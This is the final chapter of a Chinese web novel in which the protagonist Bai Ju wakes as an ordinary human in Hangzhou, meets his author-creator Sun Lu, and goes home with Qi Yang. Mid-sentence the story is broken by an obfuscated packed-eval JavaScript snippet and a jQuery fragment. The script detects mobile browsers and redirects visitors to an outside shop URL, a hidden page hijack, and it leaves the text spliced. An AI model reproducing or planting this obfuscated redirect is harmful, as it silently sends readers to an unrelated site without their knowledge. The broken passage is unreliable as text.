第五十章 He（终）
白桔以为自己要死了。
他闭上了眼睛。
然后他闻到了味道。
不是消毒水，不是宿舍的空气清新剂，是——葱油饼？还有烤串？还混着一股糖葫芦的味儿？
白桔睁开眼。
他站在一条街上。青灰色的石板路，两侧是矮矮的居民楼，楼下开着一排小店——卖烧烤的、卖蛋糕的、卖炸坤的。
招牌上的字是简体中文，写着“杭州特色小吃”和“老字号”之类的字样。
头顶是灰白色的阴天，空气里带着南方冬天特有的那种湿冷，钻进衣领里，让人忍不住缩一下脖子。
街道尽头有一棵很大的梧桐树，叶子掉光了，只剩光秃秃的枝条伸向天空。
白桔低头看了看自己。衣服还在。鞋子还在。手还在。
他抬手捏了一下自己的脸——疼。
他看着不远处一个正在炸鸡柳的摊子，油锅里滋滋响着，气味飘过来，他下意识地吸了一下鼻子。
路边站着一个穿校服的中学生，正低头刷手机，屏幕上是杭州本地的论坛页面。
“……中国？杭州？”白桔茫然地环顾四周，“我怎么会来到这里？”
他摸了摸口袋。空的。
钱包、手机、钥匙——什么都没有。
他看着那个炸鸡柳的摊子，又低头看了一下自己的肚子。
那一瞬间，他的肚子非常配合地叫了一声，响亮到旁边的中学生抬头看了他一眼。
白桔站在街头，又饿又迷茫。
他在心里默念了几秒，然后开口了：“……【召唤】？”
没有任何反应。
“……【回档】？”
连光都没有闪。
“——【唯心】？”
什么词条都没有了。
他现在就是一个普通人。
白桔站在人群里，忽然觉得自己像一块被从拼图里抠出来的碎片，被人随手放在了另一幅完全没有关系的画上。
然后他听到身后有人笑了一声。
“哈喽呀，桔酱。”
白桔转过身。
孙路站在他身后，穿着一件浅灰色的羽绒服，牛仔裤，运动鞋。
他看起来比白桔记忆中年轻很多——二十四五岁的样子，脸上干干净净的，没有胡茬，没有皱纹。
白桔认识那张脸。
是白川桔平手机相册里那张合照上的那张脸。
“……”
白桔的表情沉下来，没有说话。
他转回身去。
孙路走过来，站到他旁边：“我给你的完美结局就是来到现实成为一个真正的人类了啦，开心不？”
他的声音带着一点含混的漏气感，像说话的时候嘴里少了什么东西。
白桔没有看他。
“你就是为了好玩穿书，然后把人命当游戏搞一堆烂摊子。我不开心。而且让我觉得我很没有意义。”
“我确实做得不咋地。”
孙路笑了一下，然后转过头朝白桔咧了一下嘴。
门牙空着。两颗门牙的位置是两个黑洞洞的缺口，说话的时候带着一点滑稽的漏风感。
白桔看着他那个缺口，顿了一下：“……你牙呢？”
“被木南打掉了。”
三花从旁边的一棵行道树后面探出半个身子，走过来站到孙路旁边。
他也穿着一件厚外套，手里捧着一杯热豆浆，朝白桔笑了一下，咧开的嘴露出同样的缺口——门牙也空着。
“我也被打过了，嘿嘿。”
白桔看着他俩，表情很复杂。
“额……”
白桔的肚子又响了一声。
孙路：“走吧，先带你去吃东西。”
五分钟后，白桔坐在一家小吃店的塑料凳子上，面前摆了一桌子东西——烤冷面、炸鸡柳、烤串、热干面。
孙路坐在对面，三花坐在旁边。
白桔夹了一筷子热干面塞进嘴里。
“……谢谢了。”
“不过，你以后不会再搞一大堆人类出来吧。”
孙路靠在椅背上，双手插在口袋里：“放心啦。我只有你这么一个孩子。”
“因为木南已经联系时空管理局把我拉黑了。”
三花接话：“他本来以后还可以偷跑的，但是为了给你争取一个现实的人类的身份，他签了官方文件。”
白桔抬起头：“什么官方文件？”
孙路从口袋里掏出一张叠得四四方方的纸，展开来放在桌子上。白桔低头看——是一张打印的表格，上面印着几行字：
【保证书】
【我发誓以后再也不会自己偷跑穿越，偷跑做研究，偷跑实验数据和成果。如果违反，我直接全家鸡犬升天。——孙路】
白桔：“哈？”
他看了一遍，又看了一遍，然后抬头看着孙路：“我觉得你犯的罪可以直接终身监禁了。”
三花靠在椅背上：“毕竟人家是天才小说家嘛，被原谅也是情有可原。”
“家人们我跟你们说——”
孙路刚要开始长篇大论。
三花：“打住，直接说正事。”
孙路顿了一下：“就是。桔酱。你在这里，没身份来的。”
白桔愣住了。
他眨了眨眼：“你不是给我换了人类……”
“只是人类身体。”
“我是黑户？！！”
“没错。”孙路点了点头，“而且我要备考公务员，没办法照顾你。”
白桔转头看着三花。
三花低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826883|211104||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头看了一眼手机上的排班表，然后抬起头：“我上班好累。”
孙路把手机屏幕转过来给他看。
群聊消息一条一条地弹出来：“墨染要上夜班，连战家里有阿呆会打人，西音上学住宿舍，小莫因为你打过他所以他有点害怕……”
“那我去哪里啊？！！”白桔拍了一下桌子，然后声音越来越小，“我又没办法打工……没有身份证……没有银行卡……巴拉巴拉……”
这时，从他身后传来一个声音。
“来我家吧。”
白桔愣了一下，转过头。
那张脸他在记忆里见过无数次——只是比书里的那个版本更干净一些，没有熬夜赶稿留下的黑眼圈，没有速写本上蹭到的铅笔灰。
头发剪短了一点，穿着一件白色的长款大衣，里面是卡其色高领毛衣，整个人站在杭州十二月的阴天里，像一杯刚冲好的咖啡。
是淇洋。但也不是淇洋。
白桔认得那张脸的每一个细节。
他记得和他一起走过的每一个副本、每一场战斗、每一次他挡在自己面前或者自己挡在他面前的瞬间。
但这个人看着他的眼神是陌生的。
那种陌生不冷，带着一点礼貌的好奇和朴素的善意，像是看到了一个认识很久但从未见过的名字。
淇洋不是这么看他的。
“……淇洋？”
白桔不确定的问。
那个人点了点头，嘴角弯了一下：“我叫淇洋。读了你那本书，挺喜欢你的。”
白桔不知道该怎么接这句话。
“……我是文员，”淇洋说，像是想了一下措辞，“平时写点稿子，做一些校对的工作。”
“家里有一间空房间。你如果没地方去的话——”
白桔站在小吃店的塑料凳子旁边，看着他。
他听到自己说：“……你喝咖啡吗？”
淇洋举了一下手里的杯子：“喝。”
“不喝苏打水？”
“苏打水？”淇洋顿了一下，“不太喝那个。”
“怎么了？”
白桔笑了一下。
“没什么。我随便问问。”
淇洋看着他，没有追问。他只是把自己手里那袋食材提起来晃了一下：“我买了晚饭。去我家吗？”
白桔回头看了一眼小吃店里那两个家伙——孙路和三花正隔着桌子互相比谁的牙缺口更大，像两个刚被班主任训完话还在互相较劲的小学生。
“我们走吧。”
白桔站起身。
……
窗外的梧桐树还在风里晃着。街角的炸鸡摊还在滋滋地响着。
杭州冬天的街道上人来人往，平凡得不像任何一个故事的开头，也不像一个故事的结尾。
而白桔已经走远了。